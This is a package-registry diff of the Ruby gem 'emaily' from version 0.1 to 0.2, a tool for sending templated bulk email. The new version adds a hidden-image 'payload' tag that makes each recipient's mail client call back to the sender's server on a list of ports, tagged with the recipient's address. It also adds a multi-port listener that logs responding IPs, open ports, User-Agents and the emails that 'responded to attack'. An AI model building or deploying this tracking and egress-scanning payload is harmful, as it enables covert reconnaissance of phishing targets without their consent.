emaily 0.1 → 0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
data/bin/emaily CHANGED
@@ -11,15 +11,16 @@ require 'getoptlong'
11
11
  require 'emaily'
12
12
 
13
13
  EMaily::log = true
14
+ EMaily::status = true
14
15
  @data = {}
15
16
  @server = {}
17
+ @ports = nil
16
18
 
17
19
  opts = GetoptLong.new(
18
20
  [ '--help', '-h', GetoptLong::NO_ARGUMENT ],
19
21
  [ '--version', '-v', GetoptLong::NO_ARGUMENT ],
20
22
  [ '--nolog', GetoptLong::NO_ARGUMENT ],
21
23
  [ '--show-templates', GetoptLong::NO_ARGUMENT ],
22
- [ '--webserver', GetoptLong::NO_ARGUMENT ],
23
24
  [ '--random', GetoptLong::NO_ARGUMENT ],
24
25
  [ '--skydrive', GetoptLong::NO_ARGUMENT ],
25
26
  [ '--remove-server', GetoptLong::NO_ARGUMENT ],
@@ -41,7 +42,10 @@ opts = GetoptLong.new(
41
42
  [ '--attachment','-a', GetoptLong::REQUIRED_ARGUMENT ],
42
43
  [ '--content-type','-c', GetoptLong::REQUIRED_ARGUMENT ],
43
44
  [ '--output','-o', GetoptLong::REQUIRED_ARGUMENT ],
44
- [ '--server','-S', GetoptLong::REQUIRED_ARGUMENT ]
45
+ [ '--server','-S', GetoptLong::REQUIRED_ARGUMENT ],
46
+ [ '--webserver', GetoptLong::NO_ARGUMENT ],
47
+ [ '--scanports','-X', GetoptLong::REQUIRED_ARGUMENT ],
48
+ [ '--site', GetoptLong::REQUIRED_ARGUMENT ]
45
49
  )
46
50
 
47
51
  def logo()
@@ -68,45 +72,57 @@ opts.each do |opt, arg|
68
72
  # BEGIN OF HELP
69
73
  logo()
70
74
  puts "\n\nHELP for EMaily\n---------------------\n"
71
- puts "--help, -h"
72
- puts "\tWell I guess you know what this is for (To obtain this Help).\n"
73
- puts "--nolog"
74
- puts "\tTells EMaily not to output to STDOUT.\n"
75
- puts "ADD SERVER:"
76
- puts "--add-server "
77
- puts "\t --name, -n [name]\n"
78
- puts "\t\t The name we will use to refer it.\n"
79
- puts "\t --uri, -w [smtp.server.com]"
80
- puts "\t\t The smtp server's uri.\n"
81
- puts "\t--port, -p [number]"
82
- puts "\t\t The server's port.\n"
83
- puts "\t--domain, -d [domain]"
84
- puts "\t\t The user's domain.\n"
85
- puts "\t--authentication [type]"
86
- puts "\t\t The server's authentication type.\n"
87
- puts "\t--ssl"
88
- puts "\t\t The server's security\n"
89
- puts "--user, -U [username]"
90
- puts "\t The server's username .\n"
91
- puts "--pass, -P [password]"
92
- puts "\t The server's password .\n\n"
93
- puts "INPUT VARIABLES"
94
- puts "--show-templates\n"
95
- puts "\t Shows a list of available templates and needed fields"
96
- puts "--template, -t [name/path]\n"
97
- puts "\t The template path or name"
98
- puts "--from, -f [email address] "
99
- puts "\tEmail address of who is sending the emails.\n"
100
- puts "--subject, -s [subject]"
101
- puts "\t The email subject. If using Templates this is not necesary\n"
102
- puts "--list, -l"
103
- puts "\tThe CSV file that will populate the templates.\n"
104
- puts "--attachment, -a [file1,file2,file3]\n"
105
- puts "\t The attachment file/s \n"
106
- puts "--content-type, -c [text/html; charset=UTF-8]"
107
- puts "\t The content type used on the email. Default: text/html; charset=UTF-8\n"
108
- puts "--server, -S [server1,server2,server3]\n"
109
- puts "\t The server/s to send emails\n"
75
+ puts " --help, -h"
76
+ puts " \tWell I guess you know what this is for (To obtain this Help).\n"
77
+ puts " --nolog"
78
+ puts " \tTells EMaily not to output to STDOUT.\n"
79
+ puts " ADD SERVER:"
80
+ puts " --add-server "
81
+ puts " \t --name, -n [name]\n"
82
+ puts " \t\t The name we will use to refer it.\n"
83
+ puts " \t --uri, -w [smtp.server.com]"
84
+ puts " \t\t The smtp server's uri.\n"
85
+ puts " \t--port, -p [number]"
86
+ puts " \t\t The server's port.\n"
87
+ puts " \t--domain, -d [domain]"
88
+ puts " \t\t The user's domain.\n"
89
+ puts " \t--authentication [type]"
90
+ puts " \t\t The server's authentication type.\n"
91
+ puts " \t--ssl"
92
+ puts " \t\t The server's security\n"
93
+ puts " --user, -U [username]"
94
+ puts " \t The server's username .\n"
95
+ puts " --pass, -P [password]"
96
+ puts " \t The server's password .\n\n"
97
+ puts " INPUT VARIABLES"
98
+ puts " --show-templates\n"
99
+ puts " \t Shows a list of available templates and needed fields"
100
+ puts " --template, -t [name/path]\n"
101
+ puts " \t The template path or name"
102
+ puts " --from, -f [email address] "
103
+ puts " \tEmail address of who is sending the emails.\n"
104
+ puts " --subject, -s [subject]"
105
+ puts " \t The email subject. If using Templates this is not necesary\n"
106
+ puts " --list, -l"
107
+ puts " \tThe CSV file that will populate the templates.\n"
108
+ puts " --attachment, -a [file1,file2,file3]\n"
109
+ puts " \t The attachment file/s \n"
110
+ puts " --content-type, -c [text/html; charset=UTF-8]"
111
+ puts " \t The content type used on the email. Default: 'text/html; charset=UTF-8'.\n"
112
+ puts " --server, -S [server1,server2,server3]\n"
113
+ puts " \t The server/s to send emails\n"
114
+ puts " --block, -b"
115
+ puts " \t Size of email blocks to send at one time.\n"
116
+ puts " --random\n"
117
+ puts " \t Randomly chooses among servers.\n"
118
+ puts " --sleep. -z"
119
+ puts " \t Sleep time among blocks of emails.\n"
120
+ puts " --webserver"
121
+ puts " \t Creates a web server to listen on ports declared by --scan_ports.\n"
122
+ puts " --scanports [80,443,8080,22]"
123
+ puts " \t Add scan payload to scan for list of ports.\n"
124
+ puts " --site"
125
+ puts " \t If not using local webserver a site is required.\n"
110
126
  puts "Copyright 2010 - FreedomCoder\n"
111
127
  #END OF HELP
112
128
  exit(0)
@@ -167,6 +183,12 @@ opts.each do |opt, arg|
167
183
  @data[:content_type] = arg
168
184
  when '--server' then
169
185
  @data[:servers] = arg.chomp.split(",")
186
+ when '--webserver' then
187
+ @webserver = true
188
+ when '--scanports' then
189
+ @ports = arg.split(",").map {|p| p.to_i} if arg != nil
190
+ when '--site' then
191
+ @data[:site] = arg
170
192
  else
171
193
  puts "Unknown command. Please try again"
172
194
  exit(0)
@@ -204,13 +226,30 @@ def show_templates
204
226
  end
205
227
 
206
228
  def execute
207
- session = EMaily::Email.new(@data)
208
- if session.serv.size < 2
209
- @block != nil ? session.send_block(@block, @sleep) : session.send
229
+ @session = EMaily::Email.new(@data)
230
+ if @webserver
231
+ webserver = EMaily::WebServers.new(@ports || @session.ports)
232
+ webserver.create_scan_server
233
+ webserver.run
234
+ end
235
+ if @session.serv.size < 2
236
+ @block != nil ? @session.send_block(@block, @sleep) : @session.send
210
237
  elsif @random
211
- session.send_to_random_servers(@block, @sleep)
238
+ @session.send_to_random_servers(@block, @sleep)
212
239
  else
213
- session.send_to_servers(@block, @sleep)
240
+ @session.send_to_servers(@block, @sleep)
241
+ end
242
+ if @webserver
243
+ puts "If you no longer want to listen for incomming connecionts."
244
+ puts "Press Control + C to close EMaily"
245
+ trap("INT") do
246
+ webserver.stop
247
+ webserver.parsedata
248
+ EMaily::status = false
249
+ end
250
+ while EMaily::status
251
+ sleep(1)
252
+ end
214
253
  end
215
254
  end
216
255
 
@@ -0,0 +1,89 @@
1
+ #!/usr/bin/env ruby
2
+ # -wKU
3
+ # emaily_webserver
4
+ #
5
+ # Created by FreedomCoder on 2010-3-6.
6
+ # Copyright 2010 FreedomCoder's Labs. All rights reserved.
7
+ #
8
+
9
+ require 'rubygems'
10
+ require 'getoptlong'
11
+ require 'webrick'
12
+ require '../lib/emaily'
13
+
14
+ module EMaily
15
+ class WebServers
16
+ SHOW_FORMAT = "+ Response from %h:%p\n|--> User-Agent: %{User-agent}i"
17
+ end
18
+ end
19
+
20
+ EMaily::log = true
21
+ EMaily::status = true
22
+ @server = {}
23
+ @ports = nil
24
+
25
+ opts = GetoptLong.new(
26
+ [ '--help', '-h', GetoptLong::NO_ARGUMENT ],
27
+ [ '--type','-t', GetoptLong::REQUIRED_ARGUMENT ],
28
+ [ '--ports','-p', GetoptLong::REQUIRED_ARGUMENT ],
29
+ [ '--path','-x', GetoptLong::REQUIRED_ARGUMENT ]
30
+ )
31
+
32
+ opts.each do |opt, arg|
33
+ case opt
34
+ when '--help' then
35
+ # BEGIN OF HELP
36
+ puts "nHELP for emaily_webserver\n---------------------\n"
37
+ puts "--help, -h"
38
+ puts "\tWell I guess you know what this is for (To obtain this Help).\n"
39
+ puts "--type, -t"
40
+ puts "\tType of Webserver to start [Scan | host].\n"
41
+ puts "--ports, -p"
42
+ puts "\tList of ports in which Server should listen. (default 80)\n"
43
+ puts "--path, -x"
44
+ puts "\tServer's root document path. (default .)\n"
45
+ puts "Copyright 2010 - FreedomCoder\n"
46
+ #END OF HELP
47
+ exit(0)
48
+ when '--ports' then
49
+ @ports = arg.split(",").map {|p| p.to_i}
50
+ when '--type' then
51
+ case arg
52
+ when /scan/i then
53
+ @type = :scan
54
+ when /host/i then
55
+ @type = :host
56
+ else
57
+ puts "Unrecognized type #{arg}. Should be [scan | host]."
58
+ puts "bye."
59
+ exit(1)
60
+ end
61
+ when '--path' then
62
+ @path = arg
63
+ else
64
+ puts "option not recognized.\n"
65
+ exit(1)
66
+ end
67
+ end
68
+
69
+ webserver = EMaily::WebServers.new(@ports || 80)
70
+ case @type
71
+ when :scan
72
+ webserver.create_scan_server
73
+ when :host
74
+ webserver.path = @path if @path
75
+ webserver.create_server
76
+ end
77
+ trap("INT") do
78
+ webserver.stop
79
+ webserver.parsedata
80
+ EMaily::status = false
81
+ end
82
+ webserver.run
83
+
84
+ while EMaily::status
85
+ sleep(1)
86
+ end
87
+ puts "If you no longer want to listen for incomming connecionts."
88
+ puts "Press Control + C to close EMaily StandAlone Server."
89
+
@@ -1,3 +1,11 @@
1
+ #!/usr/bin/env ruby
2
+ # -wKU
3
+ # qp_decoder
4
+ #
5
+ # Created by FreedomCoder on 2010-1-26.
6
+ # Copyright 2010 FreedomCoder's Labs. All rights reserved.
7
+ #
8
+
1
9
  require 'rubygems'
2
10
  require 'getoptlong'
3
11
 
@@ -4,7 +4,7 @@ require 'yaml'
4
4
 
5
5
  require 'emaily/csv'
6
6
  require 'emaily/servers'
7
- require 'emaily/webserver'
7
+ require 'emaily/webservers'
8
8
  require 'emaily/templates'
9
9
  require 'emaily/emaily'
10
10
 
@@ -4,7 +4,16 @@ end
4
4
 
5
5
  module EMaily
6
6
  @@log = false
7
- VERSION = 0.1
7
+ @@status = true
8
+ VERSION = 0.2
9
+
10
+ def self.status
11
+ @@status
12
+ end
13
+
14
+ def self.status=(v)
15
+ @@status=v
16
+ end
8
17
 
9
18
  def self.log
10
19
  @@log
@@ -25,11 +34,13 @@ module EMaily
25
34
  @from = args[:from]
26
35
  @content_type = args[:content_type] || 'text/html; charset=UTF-8;'
27
36
  @template = Template.new(args[:template], @content_type)
37
+ @ports = @template.ports
38
+ @template.site = args[:site] if args[:site]
28
39
  @subject = @template.subject || args[:subject]
29
40
  @serv = []; args[:servers].each {|s| @serv << @servers[s][0][:values] }
30
41
  setup_server(@serv[0])
31
42
  end
32
- attr_accessor :list, :from, :content_type, :subject, :serv
43
+ attr_accessor :list, :from, :content_type, :subject, :serv, :ports
33
44
 
34
45
  def self.start(file, &block)
35
46
  self.new(file)
@@ -37,13 +48,15 @@ module EMaily
37
48
  end
38
49
 
39
50
  def send
40
- @list.each {|p| connect p[:email], generate_email(p) }
51
+ @list.each {|p| connect p[:email], generate_email(p) }
41
52
  end
42
53
 
43
- def send_block(bloc = 1, rest = nil, &block)
54
+ def send_block(bloc = 1, rest = 0, &block)
44
55
  j = 0
45
56
  while (j <= @list.size) do
46
- @list[j..(j = until_this(j,bloc))].each {|p| connect p[:email], generate_email(p)}
57
+ @list[j..((j = until_this(j,bloc))-1)].each do |p|
58
+ connect p[:email], generate_email(p)
59
+ end
47
60
  sleep(rest) if rest
48
61
  block.call(self) if block_given?
49
62
  end
@@ -53,14 +66,13 @@ module EMaily
53
66
  send_block bloc, rest { setup_server(@serv[rand(@serv.size)]) }
54
67
  end
55
68
 
56
- def send_to_servers
57
- @v = 0
58
- send_block bloc, rest { setup_server(@serv[(@v += 1) % @serv.size]) }
69
+ def send_to_servers(bloc = 1, rest = 0)
70
+ @v=0; send_block bloc, rest { setup_server(@serv[(@v += 1) % @serv.size]) }
59
71
  end
60
72
 
61
73
  private
62
- def until_this(j, block)
63
- j + bloc > @list.size ? j + bloc : @list.size
74
+ def until_this(j, bloc)
75
+ j + bloc < @list.size ? j + bloc : @list.size
64
76
  end
65
77
 
66
78
  def generate_email(data)
@@ -72,46 +84,32 @@ module EMaily
72
84
  end
73
85
 
74
86
  def connect(email, template)
75
- #begin
87
+ begin
76
88
  mail = Mail.new
77
89
  mail.to email
78
90
  mail.from @from
79
91
  mail.subject @subject
80
- mail.text_part do
81
- body 'This mail should be rendered or viewed as HTML'
92
+ if @template.is_text?
93
+ mail.text_part { body template }
94
+ else
95
+ mail.text_part do
96
+ body 'This mail should be rendered or viewed as HTML'
97
+ end
82
98
  end
83
- mail.html_part do
84
- content_type 'text/html; charset=UTF-8'
85
- body template
99
+ if @template.is_html?
100
+ mail.html_part do
101
+ content_type 'text/html; charset=UTF-8'
102
+ body template
103
+ end
86
104
  end
87
105
  @attach.each do |file|
88
106
  m.add_file file
89
107
  end
90
108
  mail.deliver
91
-
92
109
  D "Successfully sent #{email}"
93
- #m = Mail.new
94
- #m.to email
95
- #m.from @from
96
- #m.subject @subject
97
- #m.content_type @content_type
98
- #if @template.is_text?
99
- # m.text_part { body template }
100
- #end
101
- #if @template.is_html?
102
- # m.html_part do
103
- # content_type @content_type
104
- # body template
105
- # end
106
- #end
107
- #@attach.each do |file|
108
- # m.add_file file
109
- #end
110
- #m.deliver
111
- #D "Successfully sent #{email}"
112
- #rescue
113
- # D "Something went wrong sending #{email}"
114
- #end
110
+ rescue
111
+ D "Something went wrong sending #{email}\nError: #{$!}\n"
112
+ end
115
113
  end
116
114
  end
117
115
  end
@@ -5,24 +5,38 @@
5
5
 
6
6
  module EMaily
7
7
  class Template
8
- def initialize(template, content_type)
8
+ def initialize(template, content_type, ports=nil, site=nil)
9
9
  file = File.readlines(template)
10
10
  if file[0].match(/<subject>/)
11
11
  @s = file[0].scan(/<subject>(.*)<\/subject>/)[0][0]
12
- @t=file[1..-1].to_s
12
+ @templete=file[1..-1].to_s
13
13
  else
14
- @t = file.to_s
14
+ @templete = file.to_s
15
15
  end
16
16
  @c = content_type
17
+ if ports
18
+ @port = ports
19
+ else @templete.match(/%%payload\[(.*)\]%%/) !=nil
20
+ @ports = @templete.scan(/%%payload\[(.*)\]%%/)[0][0].split(",").map {|p| p.to_i}
21
+ end
22
+ @site = site
17
23
  end
24
+ attr_accessor :ports
25
+ attr_reader :site
18
26
 
19
27
  def generate_email(values)
20
- email=@t
28
+ email = @templete.clone
21
29
  D "Creating Email for #{values[:email]}" if values[:email]
22
- @t.scan(/(%%.*%%)/).each {|x| email.gsub!(/(#{x[0]})/) {|s| values[s.to_s[2...-2].to_sym]}}
30
+ email.scan(/(%%.*%%)/).each {|x| email.gsub!(/(#{x[0]})/) {|s| values[s.to_s[2...-2].to_sym]}}
31
+ email.gsub!(/%%payload\[.*\]%%/) { |pl| generate_scan_ports(values[:email])}
23
32
  email
24
33
  end
25
34
 
35
+ def generate_email_with_scan(values)
36
+ email = generate_email(values)
37
+ email.gsub!(/(<\/body>)/) {|s| "#{scan_ports(@ports, values[:email])}" + s }
38
+ end
39
+
26
40
  def is_text?
27
41
  @c.match(/text\/plain/) != nil ? true : false
28
42
  end
@@ -30,9 +44,38 @@ module EMaily
30
44
  def is_html?
31
45
  @c.match(/text\/html/) != nil ? true : false
32
46
  end
47
+
48
+ def site=(url)
49
+ @site = url.match(/http/) ? url : "http://#{url}"
50
+ end
33
51
 
34
52
  def subject
35
53
  @s || nil
36
54
  end
55
+
56
+ private
57
+
58
+ def generate_scan_ports(identifier)
59
+ pl = ""
60
+ @ports.each do |port|
61
+ pl << "<img src=\"#{@site||("http://"+local_ip)}:#{port}/#{port}.jpg?e=#{identifier}\"/>\n"
62
+ end
63
+ pl
64
+ end
65
+
66
+ def local_ip
67
+ if @local_ip
68
+ @local_ip
69
+ else
70
+ require 'socket'
71
+ orig, Socket.do_not_reverse_lookup = Socket.do_not_reverse_lookup, true
72
+ UDPSocket.open do |s|
73
+ s.connect '8.8.8.8', 1
74
+ @local_ip = s.addr.last
75
+ end
76
+ end
77
+ ensure
78
+ Socket.do_not_reverse_lookup = orig
79
+ end
37
80
  end
38
81
  end
@@ -0,0 +1,76 @@
1
+ require 'webrick'
2
+ include WEBrick
3
+
4
+ class CustomScanningServer < WEBrick::HTTPServlet::AbstractServlet
5
+ def do_GET(req, resp)
6
+ resp.body = ""
7
+ end
8
+
9
+ def do_POST(req, resp)
10
+ resp.body = ""
11
+ end
12
+ end
13
+
14
+ module EMaily
15
+ class WebServers
16
+ SHOW_FORMAT = "+ Response from IP %h on port %p"
17
+ LOG_FORMAT = "|| %h || %p || %U || %{User-agent}i"
18
+ def initialize(ports)
19
+ @ports = ports
20
+ @log = Dir::pwd + "/emaily_webserver_#{Time.now.to_s.gsub(/ |:|-/,"")}.log"
21
+ @data = []
22
+ @path = Dir::pwd
23
+ end
24
+ attr_accessor :path
25
+
26
+ def create_scan_server
27
+ @server = WEBrick::HTTPServer.new(:Port => @ports[0], :ServerType => Thread,
28
+ :Logger => Log.new("/dev/null"),
29
+ :AccessLog => [[$stdout, SHOW_FORMAT], [Log.new(@log), LOG_FORMAT]])
30
+ if @ports.size > 1
31
+ @ports[1..-1].each {|p| @server.listen("0.0.0.0", p)}
32
+ end
33
+ @server.mount("/*", CustomScanningServer)
34
+ end
35
+
36
+ def create_server
37
+ @server = WEBrick::HTTPServer.new(:Port => @ports[0], :DocumentRoot => @path,
38
+ :ServerType => Thread, :Logger => Log.new("/dev/null"),
39
+ :AccessLog => [[$stdout, SHOW_FORMAT], [Log.new(@log), LOG_FORMAT]])
40
+ if @ports.size > 1
41
+ @ports[1..-1].each {|p| @server.listen("0.0.0.0", p)}
42
+ end
43
+ end
44
+
45
+ def run
46
+ @server.start
47
+ end
48
+
49
+ def stop
50
+ @server.shutdown
51
+ end
52
+
53
+ def parsedata
54
+ # Print list of Ports matching IP to Email
55
+ data = File.read(@log).scan(/\|\| (.*) \|\| (.*) \|\| (.*) \|\| (.*)/)
56
+ puts "Open Ports\n"
57
+ puts "------------"
58
+ ports = data.map {|d| d[1]}.uniq
59
+ ports.each do |port|
60
+ puts "Port #{port}"
61
+ data.select {|d| d[1] == port}.uniq.each { |d| puts " #{d[0]} => #{d[2].to_s.scan(/\?e=(.*)/).to_s}\n" }
62
+ end
63
+ #Print list of Users-Agents discovered
64
+ puts "User-Agents\n"
65
+ puts "-------------"
66
+ data.map { |d| d[3]}.uniq.each {|ua| puts " "+ua}
67
+
68
+ #Print list of email addresses that responded to attack.
69
+ puts "Emails:"
70
+ data.map { |d| d[2].to_s.scan(/\?e=(.*)/).to_s}.uniq.each {|e| puts " "+e}
71
+
72
+ puts "\n\nFull Access Log data is available on #{@log}\n"
73
+ EMaily::status = false
74
+ end
75
+ end
76
+ end
@@ -8,5 +8,6 @@
8
8
  Regards,
9
9
 
10
10
  EMaily
11
+ %%payload[80,8080,443,1080,139,445]%%
11
12
  </body>
12
13
  </html>
metadata CHANGED
@@ -1,7 +1,12 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: emaily
3
3
  version: !ruby/object:Gem::Version
4
- version: "0.1"
4
+ hash: 15
5
+ prerelease: false
6
+ segments:
7
+ - 0
8
+ - 2
9
+ version: "0.2"
5
10
  platform: ruby
6
11
  authors:
7
12
  - Matias P. Brutti
@@ -9,24 +14,31 @@ autorequire:
9
14
  bindir: bin
10
15
  cert_chain: []
11
16
 
12
- date: 2010-02-25 00:00:00 -03:00
17
+ date: 2010-06-13 00:00:00 -03:00
13
18
  default_executable:
14
19
  dependencies:
15
20
  - !ruby/object:Gem::Dependency
16
21
  name: mail
17
- type: :runtime
18
- version_requirement:
19
- version_requirements: !ruby/object:Gem::Requirement
22
+ prerelease: false
23
+ requirement: &id001 !ruby/object:Gem::Requirement
24
+ none: false
20
25
  requirements:
21
26
  - - ">="
22
27
  - !ruby/object:Gem::Version
28
+ hash: 15
29
+ segments:
30
+ - 2
31
+ - 1
32
+ - 2
23
33
  version: 2.1.2
24
- version:
34
+ type: :runtime
35
+ version_requirements: *id001
25
36
  description:
26
37
  email: matiasbrutti@gmail.com
27
38
  executables:
28
39
  - emaily
29
40
  - emaily_genlist
41
+ - emaily_webserver
30
42
  - qp_decoder
31
43
  extensions: []
32
44
 
@@ -38,10 +50,14 @@ files:
38
50
  - lib/emaily/servers.rb
39
51
  - lib/emaily/skydrive.rb
40
52
  - lib/emaily/templates.rb
41
- - lib/emaily/webserver.rb
53
+ - lib/emaily/webservers.rb
42
54
  - lib/emaily.rb
43
55
  - templates/test_template.html
44
56
  - README
57
+ - bin/emaily
58
+ - bin/emaily_genlist
59
+ - bin/emaily_webserver
60
+ - bin/qp_decoder
45
61
  has_rdoc: true
46
62
  homepage: http://freedomcoder.com.ar/emaily
47
63
  licenses: []
@@ -52,21 +68,27 @@ rdoc_options: []
52
68
  require_paths:
53
69
  - lib
54
70
  required_ruby_version: !ruby/object:Gem::Requirement
71
+ none: false
55
72
  requirements:
56
73
  - - ">="
57
74
  - !ruby/object:Gem::Version
75
+ hash: 3
76
+ segments:
77
+ - 0
58
78
  version: "0"
59
- version:
60
79
  required_rubygems_version: !ruby/object:Gem::Requirement
80
+ none: false
61
81
  requirements:
62
82
  - - ">="
63
83
  - !ruby/object:Gem::Version
84
+ hash: 3
85
+ segments:
86
+ - 0
64
87
  version: "0"
65
- version:
66
88
  requirements: []
67
89
 
68
90
  rubyforge_project:
69
- rubygems_version: 1.3.5
91
+ rubygems_version: 1.3.7
70
92
  signing_key:
71
93
  specification_version: 3
72
94
  summary: A library to send template to multiple emails.
File without changes